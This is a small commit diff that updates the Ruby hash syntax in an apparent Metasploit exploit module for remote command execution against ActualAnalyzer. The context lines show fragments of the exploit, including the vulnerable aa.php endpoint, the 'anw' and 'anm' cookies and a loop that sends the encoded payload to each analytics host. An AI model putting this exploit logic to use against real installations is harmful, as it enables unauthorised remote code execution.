Use newer Ruby hash syntax

modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb

@@ -212,7 +212,7 @@ class Metasploit3 < Msf::Exploit::Remote
     nil
   end
 
-  def execute_command(cmd, opts = { :analytics_host => vhost })
+  def execute_command(cmd, opts = { analytics_host: vhost })
     vuln_cookies = %w(anw anm)
     res = send_request_cgi(
       'uri' => normalize_uri(target_uri.path, 'aa.php'),
@@ -249,7 +249,7 @@ class Metasploit3 < Msf::Exploit::Remote
     analytics_hosts.uniq.each do |host|
       next if host.nil?
       vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
-      break if execute_command(payload.encoded, { :analytics_host => host })
+      break if execute_command(payload.encoded, analytics_host: host)
     end
   end
 end